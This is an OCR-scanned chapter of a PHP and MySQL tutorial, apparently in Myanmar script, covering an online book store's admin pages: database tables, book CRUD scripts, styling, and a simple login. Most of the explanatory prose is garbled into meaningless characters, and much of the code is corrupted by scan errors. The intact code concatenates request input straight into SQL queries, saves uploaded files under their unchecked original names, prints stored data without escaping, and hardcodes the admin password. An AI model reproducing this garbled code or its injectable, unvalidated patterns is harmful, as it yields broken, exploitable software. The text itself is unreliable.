99 categories Table 320209 Record gp:copsozé:[9Ez1 cS gfs: [ocsoc(sc:00> geo 
QOC * 


DORG o> CRUD co9esooé g eog [099 $98 v q9[8:c2965026 8036020? 0R|$ 602302 DANA 
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0»93630003990:902 Online Book Store $329033006:00993265$ soos: (ojogo:eo(8$0lo»o5u 


° e e . ° C oc cC c c c ° M iN 
0009680205602 Online Book Store qo 39805398634. elogi 090 Store Y Q650202390609 
O e cç OC sx . cro ç c ç iN e € oc 
o? 664002 Admin Interface (s0(8:: €$0050209056022 eqj:o050p2900 MRC GQ?2Q|USOUSUPACECO 


eo? Shopping Cart Interface o9(s90looou 


Shopping Interface o? store Folder ðQ 6q:200:0»95esooo$eo(89(0:! Admin Interface oeo 
store Folder cooo admin Folder o3go eg:o5o:ooo5esooo5əo[eóoloooši aletas: Category 
320209 CRUD opdc§:0Sqp:08 admin Folder ceo eq:20o:3(86:(890lo»o5u 


7.5 - Online Book Store - Admin Interface 
: € co < ° > 0 Q x IN c c 
Admin Interface ooo56s00050320205 0006p:20:3964& Q300) Table 60200996s000960:€o($90l 
€ € < € . O-(^c IN . 
om ma esooo?qeo? Table eo90560»2 books, orders, order items o39(s$olo»ou 9 (Q-2) 9? 


ecocoo(c399 oli 


"E store books 


@ id : int(11) 
yo store categories . a title : varchar(255) 
ë id : int(11) VENE © author : varchar(255) 
& name : varchar(255) 5 summary : text 
© remark : text # price : float " © store order items 
m created date : datetime # category id : int(11) è id : int(11) 
m modified_date : datetime 3 cover : varchar(255) 


# book_id : int(11) 
# order_id : int(11) 
# qty : int(11) 


m created_date : datetime 


m modified_date : datetime 


Ho “oc orders 
8 id : int(11) 

8 name : varchar(255) 

8 email : varchar(255) 

3 phone : varchar(255) 

3 address : text 

g status : int(1) 

m created date : datetime 


m modified date : datetime 


© (q-Q) Table Relationship for Online Book Store 


c > c IN oc gy c IN IN jl 
G32202926G0:002:02 3ag|o23acoooq[»: 320? C: books WOVE Table 009 O5D2GSO0O0GO: O II 
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books Table 
id - INT - Auto Increment / Primary Key 
title - VARCHAR (255) 
author - VARCHAR (255) 
summary - TEXT 

price - FLOAT 
category id - INT 

cover .- VARCHAR (255) 
created date - DATETIME 
modified date - DATETIME 
































c > ç Ç x ç IN oc ç ç c c € 

books Table o»» 09390602§00300030) nyc 026:s0p9:e09 Table ooëə[eóoloooŠši 

. Os c IN o ° x° c o < 

category id aĵo) Column ooë@əoloCoooo2oooo[o|olu 333 Column eo eosoOsəQ||l:səeo:səogo5 

ç . o o ç c | < c ° > IN CN IN c ° 

32095: id 09 V:S: puolus org9Ss0q4}):3900:8.005000303 seqjo$32co09602096009 books 

> ` ç N ç ç O IN 36-1 CN : > e > ç 

Table ògo 03600930 09J$ 60220? 0295es00058(8:[8603 categories Table odo S:[90:3[(80: 0005 
oəé:coo:eo[eóoloooi" 


2069 - categories Table cóeo Record eogoo səəcoqesoooSso[ooolë - 


4R----4-------------- 4p-------2-4-------------- 4R--------------- + 

| id name | remark created date | modified date | 

4p----4-------------- 4p-------2-4------2-------- 4p--------------- + 
1 Technology | | 

| 2 Internet | | | 

L -3 Programming | | 

+----+-------------- +--------+-------------- +--------------- + 








Record 006903 books Table cdg2009$09€:03a901 oops] 3202:02 Internet fede: 9905905 
co:8320305 category id Column eo 2 o?cooŠco:gəo[eécloooSi oo$8: 2 3005000503 sed]: 
3200: mepi qo3qjo$e0?3eqjo9 secoo9e0909 ooo o86:e0p5:000:03 id alas: 
categories Table Meg q das 39Q||:3909:2999500 Internet [eš=[oooc:š 0907 ao(go: 
323[0532c00360209c099: [ošcoo5eqoo[eecloooSi Es: o22903d|:2000:609320205 seqo$32coo? 
coo categories Table ode 3[80:056:s0p5:(8: books Table 9060» wV səQ|l:səeo: id 
02000 3209 §:39(96 86:a005: 0:4 901 sle[axg $ (9-2) gwp: Š categories Table à id 
Column à books Table à category id Column 0308 ájo5soo5ceeo[|oeo:coo:ooo[eëoloooSi 8 
soos One-To-Many Relationship c9 esl (o20lo»oi Internet o) Category 006903405 2009 


ç ° M e e OOC sx ç c ç 
299: 39000: 0209320602 32q[: (03: IREA eolon 
books Table 390305 cover 320258 Column o»990lo6 02009 cop9: o2 [oo cover Column qo 
iN ç ° o ç o oc ç Cro c e ç v» eo O M oc x . 
92390 q[02400:0326050? o38:eop3oo(s9(8: 0290202q|02400: 0026002 Database 06q0006:0 File 
32688 086:a005: coo:oo[eóoloooŠši 


Professional Web Developer - 3295: (q) PHP and MySQL J9e 





ga u u Table eo200936s0009(8:02326l $ (9-2) 92605(G000:03 Interface o? phpMyAdmin à Main Menu 
` : : oog C c ooc ç 
com Design View 28 [eC:əoo: [ec qN losu 


IN ere ° IN IN ` c c oc IN c ;| 
soo? coo3(8: orders Table OQ copo? G3220292G0: 002:02 3ag|o?3acoooq[»:3ao?Cc: O2992680202G0:0 II 


orders Table 
id - INT - Auto Increment / Primary Key 
name - VARCHAR (255) 
email - VARCHAR (255) 
phone - VARCHAR (255) 
address - TEXT 

status - INT (1) 
created date - DATETIME 
modified date - DATETIME 





























EN o IN € ç < < o € ç < c 
order Table ooo 093909009090) mn səa|o5səcoooqp: 256:90p9:e09 Table o9 [590] 
< ç ° c ` . ° ^ < oc < iN 
ooobiuesooóse: Table o»$932e$4 order items Table 0) c0:000:02323J05qp:320?C: soocoob 
mesmo co:olli 


order items Table 

id - INT - Auto Increment / Primary Key 
book id - INT 

order id - INT 

qty - INT 


order items Table ooo orders Table à so0996e$0lo»o31 o0390005058320209 32909090 vlos 

mes eoopc9o? aseo: o: oloC&ColoooSi gomas oosoóqp:šoosososo> rn 

60209 s0039903€e0?3eqjo93acoo3qp:& |g009;(8E:0005 c3:[80:3(80:000:92»» woegen: o} 

329] Oas e[9eoeo(s$c$ o5:[go: Table 026988§(90:086:8095:8 qS gS: ss: fdv à (9-2) 

eo Lfs eageoogé order items Table à book id Column o» books Table à id Column 

o e ° . ` ° e o 

OP ge: (8: order id Column meo orders Table e, id Column 0)99§:c00:0200)603,.499 

oli 093036: eë © created date à modified date 02026002 order items Table oo 
IN e ere c Oo c Q ` c IN IN IN c 

opsie vlg: orders Table eooloé[6:[8ë c9 0006c9600202320205 voas: confi: fol 
IN 

OD05II 


o Q x e cre la o c IN o c c x@ c OC x ° 
3009 Table 6020995690003(8:(8adqé 0039060207 CRUD o$6cá:qp:&$ó&coo Interface op 
c IN ç e ç M . ` co o ç e 
30030005 orpSes0o03(a30le05n store Folder 009 File Š Folder SALN BaS goco: I 


Professional Web Developer - səəš: (q) PHP and MySQL JGo 





store/ 

-- admin/ 

-- confs/ 
|-- 


-- covers/ * 


-- book-list.php * 
-- book-new.php * 
-- book-add.php * 
-- book-edit.php * 
-- book-update.php * 
-- book-del.php * 








€ < g < S Ln > ° < ç < < < 
[Lasgo opgi: qoos File š Folder eo90? eg005¢0 Star (960:000:0lo»o5u (8692063206 009960:000: 
coooli File š Folder 3290960290 Star 602000260:0609030lop: t covers 399098 Folder 0009 

ç IN < < ° ç x < c < < 
(S28 go5cop5026:c00;(8: oqj4 File eo2026022 books Table 320205 CRUD cooesoocajo5co2 6q:220: 
o0 Q x - < < . IN NON > IN 
60300 File eoo (se olo»o5i categories Table 320505 6q:050:802 Code cog səcoooqp:qp: 
soCooeo[eóoloooi 


00008386: book-new.php go HTML ao[00932$0003296:60:01i (8:6 «body» 390263999 603000309 
Form o? 091050099996 :60:0] $ Form qo 00:[99:9530980l000 1 0299006009 90396q|09400: 002 
Upload (Qjoc99c902320903 «form» Element go enctype Attribute 220390360:00o:(s6:(890lo»o5u 
ego co! səo>:[o|opoo Category o? 3209090090968: qjo386 6320€ Select Box &60:000:0] 

ç e . oo e ; M e e o 
on Select Box 320200 «option» 6039§)@ 320909 categories Table oda 324[0232c0096020? 
02(8:1 Category id o9 «option» a, value sa{gda005g05000;(8: Category name Reo Content 

` e e )] ç j| e e ` ‘| e o ° . ` 

3IS§ §990390IG0: 00020102051 slefoxg cu (903325 0I32039Q|:3200:c03H eg: $90 Select Box 


22094 co(9so:g0011 


«hl»New Book</h1> 

<form action="book-add.php" method="post" enctype="multipart/form-data"> 
<label, for="title">Book Titile</label> 
<input type="text" name="title" id="title"> 





<label for="author">Author</label> 
<input type="text" name="author" id="author"> 


<label for="summary">Summary</label> 
<textarea name="summary" id="summary"></textarea> 
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<label for="price">Price</label> 
<input type="text" name="price" id="price"> 











<label for="categories">Category</label> 
<select mame Category aid Moategeries 
<option value="0">-- Choose --</option> 





<?php 
include ("confs/config.php"); 
$result = mysqli query($conn, "SELECT id, name FROM categories"); 
while ($row = mysqli fetch assoc($result)): 

?» 

«option value="<?php echo $row['id'] ?>"> 
<?php echo $row['name'] ?> 

</option> 

<?php endwhile; ?> 

</select> 














<label for="cover">Cover</label> 
<input type="file" name="cover" id="cover"> 





<br- bpr 

<input type="submit" value="Add Book"> 

<a href="book-list.php" class="back">Back</a> 
</form> 


(0399000036 so6e[2628320203 CSS dad? «style» 3090320093 0095096269990: 60:0] 


form label { 
display: block, 
margin-top: 9px; 


) 


Form action o book-add.php eooo loSi book-add.php 90 books Table cooo Record 
00p9996:02 cpdesnrégjaseq:000:69: q9o0li 60:000:03 Code 0209:050003256:60:0]i Form meo: 
NAN c ° . c : ` c e OC * IN : ° IN IN 
co0020090 q[02406:032090? Image File olo36030lo6coo$6 02320209 File Upload ool GsooC go 
ocoo:ooooooooo[o|oli q|jo5aoQ:ó File cogo? covers Folder c590236:90p9:000:0902320909 
move uploaded file() o2o»:(8: e(956:68,236:60:000:0lo»ou books Table à cover Column 
ç ç O ° c ` oc : e Oo IN e IN c IN e 

906022 NJF 602202 (08102609: 90:000:0232026: File 32603020009256:60:000:0lo» 09i coOesoocaj|o5 





320:09:39 [8:90 book-list.php o? Redirect asolo 


Professional Web Developer - səəš: (q) PHP and MySQL JG J 





<?php 
include ("confs/config.php") ; 


$title = $ POST['title']; 

Sauthor = $ POST['author']; 

Ssummary = $ POST['summary']; 

$price = $ POST['price']; 
$category id = $ POST['category id']; 
$cover - $ FILES['cover']['name']; 
Stmp = $ FILES['cover']['tmp name']; 











j E Scover) t 
move uploaded file($tmp, "covers/$cover"); 


J 





Ssql = "INSERT INTO books ( 
cate eio n. summary, r toe Carcgory 1d; 
cover, ¡created date, modified date 








) VALUES ( 
roles Voanthormt, Summary Sprice", 
'$category id', 'Scover', now(), now() 


J"; 
mysqli_query(Sconn, $sql); 


header ("location: book-list.php"); 
?» 


book-list.php 906009 00370 029 e:opeeo[Oco:e]əoclii slef HTML sa[Gased 0093036:60:0I 
(8:96 <body> 32026:9060:000:0) Code o? 07: 090093026:60:018:1 











e e ` co oc ç ` ç oc 
32ga eog SELECT Query eo Q:l oSI books Table ðe 2V p 

ey ç O oc IN ° oc e e e e 
023964, Category 3909503086:a095:@000:0l09:1 Category ID 032009 o98:soo5:coo:oloooŠi eeo 

e e x° On Co c ° c 000€ e * O € 
023750096: eo 338 ID Bd[(Gesa8gé səo3:[o|ooooso:cooSoS8&Ceoeooosolog:i ID 3290: 9280305 
e x ç o : ` ° e e o ÇO C e 
2803 Category ep categories Table c3o»esqo»(8:eo3(9eo0:9 səsoce[oooolu 09$s9«6 aóəl 





e e ç ° ç ` e e ° ç rO Q ° 
sacndandqe0d wenol books Table dm s9q]0530000560203026(03S4 091 (8:60299 books 
Table mega cooo category id o? 3905;(01(8: Category 3290902 categories Table comes 

e c r o e e ero. e e e e c 0.0 croç co o e 
csocoooo[ooogoo[e:soo:[eÇ aó[o2SqoosəcoócoÓ qeosooscooo[eóoloooSi 3o$g.0[o385apd8echesaré 


e e ` à e e o o e ° o Ç IN 
books Table m 3a4|0232c003602 à categories Table m 3a4[0232c0056020?c93809509 qn 











q0960:63206 SELECT Query qooo6eloop9: o0p9296: 6:20:90 (s90lo»oóu 
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<hl>Book List</h1> 
«?php 
include ("confs/config.php"); 


$result = mysqli query($conn, " 
SELECT books.*, categories.name 
ROM books LEFT JOIN categories 
ON books.category id - categories.id 
ORDER BY books.created date DESC 
ur 
?» 
<ul class="books"> 

















<?php while($row = mysqli fetch assoc($result)): ?> 
lu 
«img src="covers/<?php echo $row['cover'] ?>" 
alt="" align="right" height="140"> 


<b><?php echo Srow['title'] ?></b> 

<i>by <?php echo $row['author'] ?></i> 
<small>(in <?php echo Srow['name'] ?>)</small> 
<span>$<?php echo Srow['price'] ?></span> 
<div><?php echo Srow['summary'] ?></div> 


[<a href="book-del.php?id=<?php echo $row['id'] ?>" class="del">del</a>] 
[<a href="book-edit.php?id=<?php echo Srow['id'] ?>">edit</a>] 


AE 
<?php endwhile; ?> 


</ul> 
<a href="book-new.php" class="new">New Book</a> 


$@§00069000:000:03 SELECT Query o? 329c93280lo596s9 $60 ovos 


SELECT books.*, categories .name - books Table o» Column 3əo:c0:Š categories Table 


oo name Column o209q0960:oli 


FROM books LEFT JOIN categories - books Table à categories Table RS Table 0209 


SC NO “x ç IN 201 
NP: o3«o03eo3(9e0:o II 


ON books.category id = categories.id - books Table o» category id Column š 


categories Table o» id Column 0303039803 Record à, name Column 020360960:«9o0li 


o € 


$0$0005g05080503a00205 [D$cop9q$9000e00? books Table o» Column 320:c9:$,6500990029(8: 


g 


ç 


q$e»o [ešoloooSii AAN ó enol 2 


NACO Record e, category_id š 02050902 Category 320250 Table 02990009: 


^N IN 
0960» 
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4R----4------- 4-------- 4--------- 4------- 4------------- 4---4--------2------- +++------ + 
| id | title | author | summary | price | category id | | modified date |+| name | 
+----+------- +-------- +--------- +------- +--------- ee ee ====== +++------ + 
EN | Book? | l | | 2 | | | EI 
| 2 | Beok2- | l l | 5 l l |*| Web | 
| 3 Books. | | | | | | | ESSI 
4R----4------- 4-------- 4--------- 4------- 4------------- 4---4--------------- T4R------ + 


c c IN o A > ç ` 
csoc5coocg:[eo:a|o5oocooo Record co20? «1i» Element š eo3(9eo03es speo cover Column eo 
° ` co, 90 j ` S e IN c IN e s 
ges 0202§G:0) «img» Element e, src y copdaz6: 60:00: ec: [eeoloooSi slefoxg cover File 
Name o? a:b: ġe coo[oco:eo [ešoloooŠi [Š:co>oo title, author, summary, 

. o o e x Ç ey e IN 
price, name (Category Name) 020) eogə5o2 Element ogee oeoo 


c IN IN : coc IN : C 9 0 «* * c IN IN 
o»ocoo?oocopo: Edit, Delete (o¡pó$coos Link 026990?c5 Zo eo 600 los051I 209 Browser 
URL Bar eo http://localhost/store/admin/book-new.php o9 o9o:e0eo5s9q6 0039032259009390 

ç C Oc X Q Se] ç LAS Q 2 (9 ç CoO sc Bas 
oop?o96:$60) Form ocogqeo [sŠšolooo5i 338 Form 0305:(8:02395026q}, 00p9256:60:oli (8:96 
Browser URL «o http://localhost/store/admin/book-list.php c9oop?ogé:[o2p9 96 9 (q—) eo[ocoo: 
2008 quid escooo[eóoloooŠi 


«", Book List - Mozilla Firefox 


| E Book List lita 
4 localhost/store/admin/book-list.ph e jS eee 
. 
Book List 
* Introduction to Data Science Jeffrey Stanton (in System Design) $4.99 ata Science 


D: 
This book provides non-technical readers with a gentle introduction to essential concepts and activities of 
data science. For more technical readers, the book provides explanations and code for a range of 
interesting applications using the open source R language for statistical computing and graphics. 
[del][ edit] 





Exploring Programming Language Architecture in Perl Bill Hails (in Programming) $49.99 

By the end of this book you should have a thorough understanding of the inner workings of a 
programming language interpreter. The source code is presented in full, and several iterations add more 
features until it could be considered pretty complete. The interpreter is written to be as easy to 
understand as possible; it has no clever optimizations that might obscure the basic ideas, and the code 
and the ideas will be described to the best of my ability without any unexplained technical jargon. 

[ del ] [ edit ] 


Ubuntu Pocket Guide and Reference Keir Thomas (in General) $9.99 =, 
A very well written introductory book with no fluf for the Ubuntu operating system. The book is rather bin 
dated though (Hasnt been updated since 2009) and new users may be confused with the changes such as P 

the Unity interface that have gone into Ubuntu over the years. T 





[ del ] [ edit ] 


New Book 








9 (q-o) Online Book Store - Book List 


c C. S ers < ç c 0 COGC * : ° | < € < iS c 
92390006|C:$ 320? oogjes: (GE a0 (9 E:03{0)a958E03 del, edit oooloócoosoeoo 059050532000 


8320900932005 Code 60303 800300036q:200:60:99:900]i book-del.php q 39900693009: 
co:oli 
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«?php 
include ("confs/config.php"); 


Sid = $ GET['id']; 
Ssql = "DELETE FROM books WHERE id = $id"; 
mysqli query($conn, $sql); 
header("location: book-list.php"); 

De 


























Sesqoeocooo Qe ncbod: Request à3»05020030loócooo) id osasad:ai(8: 














books Table dmca Record 030054058 DELETE Query 026903 co:Qcpos(s6:(g90lo»oóu 





so03c003(8: book-edit.php go HTML ao(00530$00p5256:60:0li (8:46 <body> 32026:90 90) 
eggo: eo: oln 


(8:303 Edit Form 05$90032036:0 id o? Hidden Input 02693 0009226:60:000:0lo»09i 9239032226 
Cos On ç ° M c c ç e ` 
oopo20? Form e@ocoó Category e@ogc:egš;coqo Select Box o»99olo&olo»oóu oo: [so:a|o5səocsš 
coms} Edit 0906303 Record à category id š Select Box eoQoscooocoo:o categories ID 
e c : oo e c o ç ç e c e e ° o 0 
qÊ selected Attribute Ao seo: coo9ooC:eg:oso:coo:[ec:[ešoloooSi og: ġo 
œp: <img> Element 209$ Image s [eëce[Oco:coo:oleos:cooŠi 


<?php 
include ("confs/config.php"); 








Sid = GEN irs den 
$result = mysqli query($conn, "SELECT * FROM books WHERE id = $id"); 
$row = mysqli fetch assoc($result); 

2 > 


= 
E 




















<hl>Edit Book</h1> 





<form action="book-update.php" method="post" enctype="multipart/form-data"> 
<input type="hidden" name="id" value="<?php echo Srow['id'] ?>"> 


<label for="title">Book Title</label> 
<input type="text" name="title" id="title" 
value="<?php echo Srow['title'] ?>"> 





<label for="author">Author</label> 
<input type="text" name="author" id="author" 
value="<?php echo Srow['author'] ?>"> 


<label for="sum">Summary</label> 
<textarea name="summary" id="sum"><?php echo Srow['summary'] ?></textarea> 





<label for="price">Price</label> 
<input type="text" name="price" id="price" 
value="<?php echo $row['price'] ?>"> 
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<label for="categories">Category</label> 
<select mame category du 1d—Neareqomies "> 
<option value="0">-- Choose --</option> 
<?php 
$categories = mysqli query($conn, "SELECT id, name FROM categories"); 
while (Scat = mysqli fetch assoc($categories)): 

















?» 
<option value="<?php echo $cat['id'] ?>" 
<?php if (S$cat['id'] == $row['category id']) echo "selected" ?> > 
<?php echo Scat['name'] ?> 

</option> 

<?php endwhile; ?> 
</select> 
oie Dra 
<img src="covers/<?php echo $row['cover'] ?>" alt="" height="150"> 
<label for="cover">Change Cover</label> 
<input type="file" name="cover" id="cover"> 
<br><br> 


<input type="submit" value="Update Book"> 
<a href="book-list.php">Back</a> 
</form> 


Form action 92 book-update.php Bag 82000208 book-update.php 92 399096990020 


<?php 
include ("confs/config.php") ; 


Sid = $ POST['id']; 

Stitie = $ BOST['trEUS']S 

Sauthor = $ POST['author']; 

$summary = $ POST['summary']; 

Sprice = $ POST price’); 

$category | id = $  POST['category id']; 








$ FILES['cover']['name']; 
ETIES [eoo] Semp name 





if(Scover) { 























move uploaded file($tmp, "covers/$cover"); 

Ssql = "UPDATE books SET title='$title', author='Sauthor', 
summary-'$summary', price-'$price', category id-'$category id', 
cover-'$cover', modified date-now() WHERE id = $id"; 

} else { 

Ssql = "UPDATE books SET title='$title', author='Sauthor', 

summary-'$summary', price-'$price', category id-'$category id', 

















modified date-now() WHERE id = $id"; 
} 


mysqli query ($conn, $sql); 
header ("location: book-list.php"); 
qo 
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Edit Form o» co:Ocoooy 39g|093a00036030339053(0)(8: UPDATE Query 006903 co:Ocooo[ec:[eëcl 
ovos 09;(So:q]05026029 Request ¿43202 qJ03500:0320205 File olo$cooqé File Upload 03005 
csooCgo5co: Š: i eolcoosécooo ec9960:8 0$6s0:6«:220:000:0lo»o$: sacos:026 File oloócoo92»o 
cover Column «ol Update ôf: eoleooq6 Update cpdo3sac3g0 cover Column 02q/$000:38 
09630: Gq:220:60:000: olor 

329 books Table 390309 CRUD coÓesoocajo5coo (o056(83 9039032909qp:00p9996:1(86:1 
(06s06(86:à oo3qo9(86:020? Goes go$86es Solons 08:229(0209$ E e400302$«06 
30699 CSS Style coz e«:220:0à ado) se[go:090es0o6qjo9eo (9259058  Filesoz ama 
copda26:60:018:1 


store/ 
-- admin/ 
-- confs/ 
|== 
|-- auth.php * 
-- covers/ 
-- css/ * 


|-- style.css * 


-- login.php * 

-- logout.php * 

-- orders.php * 

-- order-status.php * 








confs Folder Ò% auth.php səeo5à File 096903:000:0100051 (8:00 css 399098 Folder 0209 
cop?o96:1(8: style.css 32020 File 029909 css Folder o5oo o»9963000960:000:0lo» 091 s]ao[o6 
login.php, logout.php, orders.php š order-status.php 0202 Cop9:09:000:0le20: 
0051 a280) File à Folder eogoop?opé:(8:€6 style.css qo co:coo:o> CSS Style e020209:05 
0099996 :60:0]i 
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JG» 





html { 
background: #95A5A6; 
} 


body { 
font-family: Arial, Helvetica, sans-serif; 
width: 900px; 
background: #fff; 
border: 4px solid #2C3E50; 
margin: 20px auto; 





a. í 
padding: 10px; 
font-size: 21px; 
background: #2C3E50; 
Margin: 0; 
Co [lors D F Fi 

} 





u. J yst 1 
list-style: none; 
margin: 20px; 
padding: 0; 

} 


aldist la { 
overflow: hidden; 
border-bottom: 1px solid #ddd; 
padding-bottom: 10px; 
margin-bottom: 20px; 


} 


ul elses D i 
display: block; 
font-size: USpx; 
margin-bottom: 5px; 
color: #2980B9; 

} 


ul. list a, ul laste small { 
color: #888; 
font-size: 12 px 
margin-right: 10px; 

} 


ul ist span í 
color: #8E44AD; 
} 





allast div í 
margin: Spx 0; 
font-size: Tsp, 
line-height: 1.5em; 
color: #555; 
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ul. list img í 
margin-left: 20px; 
} 
ul. desis a { 
color: #2980B9; 


ul.list a.del { 
color: #D35400; 


a.new { 
display block; 
padding: 8px 0; 
text-align: center; 
width: 160px; 
margin: 10px; 
colo 
background: #1ABC9C; 
border: Tox solid mece; 
text-decoration: none; 


) 


Form { 
margin: 20px; 


} 


form label { 
display: block; 
margin top: a Opry 
color; #5957 

} 


input [type=text], 
input [type=password], 
textarea, 
select { 
font-family: Arial, Helvetica, sans-serif; 
border: 1px solid #ddd; 
padding: 6px; 
width: 300px; 
background: #fff; 
j 


textarea { 
height: 100px; 
} 


input[type=submit] { 
padding: 10px 24px; 
margin-right: lps; 
) 
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book-list.php, book-new.php, book-edit.php, cat-list.php, cat-new.php, 
cat-edit.php QÀ <head> 32096:90 «link» Element 0305;(8: 333 CSS File osajodaoadco:oln 
CSS ádjo5soošo> <1ink> Element eq:220:0696$909:c9 eo3(960:c9090loooóu 


<link rel="stylesheet" href="css/style.css"> 


808 CSS Style coga: cu: BaSeusasqé 021$600902002969000500090 Interface osocooŠ: 6 (9- 
E tu c O Sree Magee mere g: q Q 
co) 9o coeo[ocoo:osco 32$09:c 0390: 0969,5030:60¢90(860l00051 


Book List 


Introduction to Data Science 
by Jeffrey Stanton (in System Design) $4.99 


This book provides non-technical readers with a gentle introduction to essential concepts and activities of data science. For 
more technical readers, the book provides explanations and code for a range of interesting applications using the open source 
R language for statistical computing and graphics. 


[del ] [edit] 


Exploring Programming Language Architecture in Perl 

by Bill Hails (in Programming) $49.99 

By the end of this book you should have a thorough understanding of the inner workings of a programming language 
interpreter. The source code is presented in full, and several iterations add more features until it could be considered pretty 
complete. The interpreter is written to be as easy to understand as possible; it has no clever optimizations that might obscure 
the basic ideas, and the code and the ideas will be described to the best of my ability without any unexplained technical 


jargon. 
[del ] [edit] 


Ubuntu Pocket Guide and Reference 

by Keir Thomas (in General) $9.99 

A very well written introductory book with no fluf for the Ubuntu operating system. The book is rather dated though (Hasnt been 
updated since 2009) and new users may be confused with the changes such as the Unity interface that have gone into Ubuntu 
over the years. 


[del ] [edit] 





0 (qm) Book List with CSS Style 


oo book-list.php, book-new.php, book-edit.php, cat-list.php, cat-new. 
php, cat-edit.php 0290 Menu eco:0069(sp990960:0li Scone 2099 ios: URL o 
oc ° c o `x € € e e oc e IN IN 
dd Q02esos«pec»co»oó Menu mesmo so[0$32c9$290:$69o [ešoloooŠi Menu 32030 
HTML meow 32909 6290029900! 
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<ul class="menu"> 
<li><a href="book-list.php">Manage Books</a></li> 
<li><a href="cat-list.php">Manage Categories</a></li> 
<li><a href="orders.php">Manage Orders</a></li> 
<li><a href-"logout.php"»Logout«/a»«/li» 

</ul> 


MNAC Script à HTML Structure ò% <h1> Element 63220390 a»900p960:0]i (8:03w031 
` e ° ° e e o € 
style.css 0080 Menu 39090 CSS o 32909 (50990360:c9030lu 


ul.menu í 
list-style: none; 
margin: 0; 
padding: 10% 
overflow: hidden; 
background: #16A085; 
} 


ul.menu li { 

float: left; 

border-right: lpx solid #1ABC9C; 
} 


ul.menu a { 
display: billock; 
padding: 10px 20px; 
text-decoration: none; 
Colors def 

} 


ul.menu a:hover { 
background: #1ABC9C; 
} 


Oo C * 


e o e e : oc A š ` 
Sc0[eoooosco:cooooy Script 02:90 book-list.php, cat-list.php, orders .php Š 


rj 
o o ° 


logout.php 0909 99o:$60? Menu o3058cloéago:92[g60los0511 
ageco coo9$00p96s0009es0? Online Book Store go 3296:4996:0lo6qo(8$o»o9c9e(0530| 
IN : ° c IN o IN o ° oc IN : ° 
coo Shopping Cart Interface o» eosoóoo5oocoooeo5o2eso 3905;(0/86c0ea5 Admin Interface o? 
e ceo co ç ° c IN e M IN o IN 
GOP oCespo590ó 864099000 oég6co:qeo[s9olo»ou slefox¢ Password ¿mado dolo 
confs Folder Òm auth.php qo €0:000:02 Code 60303 091050009 ogé:co:olu 
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<?php 
session start(); 
if(!isset($ SESSION['auth'])) { 
header ("location: index.php"); 
exit(); 
D 


?2 





(8:303c008: ©8:00680008 User ooo Login 06000;(86:Fe§odes0:03 SeaonGajasos coos 

:9O29294:Q2 $Q4000:0009220) g :[80:989| 7020) QNR copy 
ç ç ç 
€ 


o c c € ` < Q > ° < c iN o IN 

36030909 Se: (s$olo»o5i Login eocooo:cQ auth Session Qeessc M| INe aun 

e < Noa o > < c cC, 9.0. € 

GsooCgo59ç e60:0 index.php Q Redirect coÓco:oəo:eo[eóoloooi 30909680:6q:220:000: 

auth.php o? book-list.php, cat-list.php, book-new.php, cat-new.php ooo [ec 
ç ç o xfe Sos n ` : OC s T. 2 o c jl 

09|$6025096€:2»0: SE:S) admin Folder ò% Script 09¢:4sa¢o0l :92329V Include qyöeco:olu 


3, 


<?php include ("confs/auth.php") ?> 


š x_ 0 ° ° < co o e Q ° c ° o 
Session e(ar[Gr0303903 Content cogeeq:000:6 Gsoocgo5@cosəoco 3260| 89:90 Include cooco:Gco 
c, 8 Q € iN ° ç € ` < c < IN ç oro oc . 
ol osi 3090002296:60:c905q6 Login e06000:2900060»20900 ofog]: 92:026: index.php 
BOS Redirect cpde0:6§92[9d0l0005 index.php geo Login 068603 Form 029960:000:qj60] 
cooSi ale[o2oç HTML 3o (0093260009296: 6q:000:60:011 cong <body> 32026:90 60200009 
Login Form o? 07:02969:000:60:011 


<hl>Login to Book Store Administration</h1> 
<form action="login.php" method="post"> 
<label for="name">Name</label> 
<input type="text" id="name" name="name"> 








<label for="password">Password</label> 
<input type="password" id="password" name="password"> 


<br><br> 
<input type="submit" value="Admin Login"> 
</form> 


: c ee ere o e ce o (e CN ` 
Login Form coo: 9960059 595[gda90:608.02)§ 607503 eg: ò: (9907 css Folder oda 
style.css Naps: <link> Element § gjossons.cop5026:60:0960100051 329V admin Folder 

` IN : ern Cc GC. ox ç ° : ° c jl IN : 
05022005 Script Moco index.php Ò espo3coo(8: Login Form o» eco qeo(s$o on Login 
Form š action 92 login.php C960:000:02320909 login.php 9o 0099996:60:0000) Username 
š Password 9§09§08 39908 09680:6q:220:60:0]u 
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<?php 
session_start (); 
Sname = $ POST['name']; 
Spassword = $ POST['password']; 





if($name == "admin" and Spassword == "214365") { 
$ SESSION['auth'] = true; 
header (“location: Dook-list. papi) 

) else ( 


header ("location: index.php"); 


) 


2> 


Username ooo admin (368: Password oo 214365 20) Information o? 9400463206 60:$625 996 
Admin Interface o? o6eqoo?86Qso(89co098(0: auth Session 02§8:0069 9905905e0:030:90[G60l 
001 98|$eo http://localhost/store/admin/ cŠ Browser URL Bar eocop?o96:(02p2605s9«6 Login 
Form 0209 02602 qe»(s90l ooo Username 32684 admin Password 30094 213465 o? oop?996:1(8: 
Login o6c909e09s9q6 c932002 Login coócë:esooé go |ð: book-list.php o? Redirect 09060: 


930:92{8601 001 Logout c96c9«6050$6600300209 logout . php ga: 329 c900p9996:60:0lB:u 


<?php 
session_start (); 
unset ($ SESSION['auth']); 
header ("location: index.php"); 
Qu 





WIAA 00390602090009: bógv Ân 95390320]: 3292:60209 co 5:968 60l(8u Bac Anga BOSE 
RR 3ROCOZ NAR t ds | e ia ICING à 
SICA: esos gos{8:018n Admin Interface (003693220205 Order 9596:qp:98(86:090c$:220 oq|Š 
goleo o$u Order SfE: oeo @g209900090le0220051 GcooccoosooŠS Shopping Cart Interface 
39020303 39q6eq3000:080109051 
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7.6 - Online Book Store - Shopping Cart Interface 
Shopping Cart Interface O2996800098320503 c930002 File à Folder 60902 saqsa goco: 


store/ 
-- admin/ 
-- confs/ 
|== 
| == 
-- covers/ 
-- css/ 


-- css/ * 

-- style.css * 

-- book-detail.php * 
-- add-to-cart.php * 
-- view-cart.php * 

-- clear-cart.php * 
-- submit-order.php * 








(2990 File à Folder copo» store Folder de (sp$903o9»:(86:(590looo5€ Style o? Admin 
Interface &eo?c99 23:(82:6$09:q|6c9 css Folder o269000800p96s00090looo3i (8:6029 333 css 
Folder ò style.css File 0209 0099996:60:000:0lo» 05i store Folder 32096:900 Shopping 
Cart coOesoo6quo5 320209093200) ao (go: File 60209 cop3: (S0990302936s0203000:0lo»o5v 


FCRC IS ç 9 ç OQ X IS noA asd h "T A c 
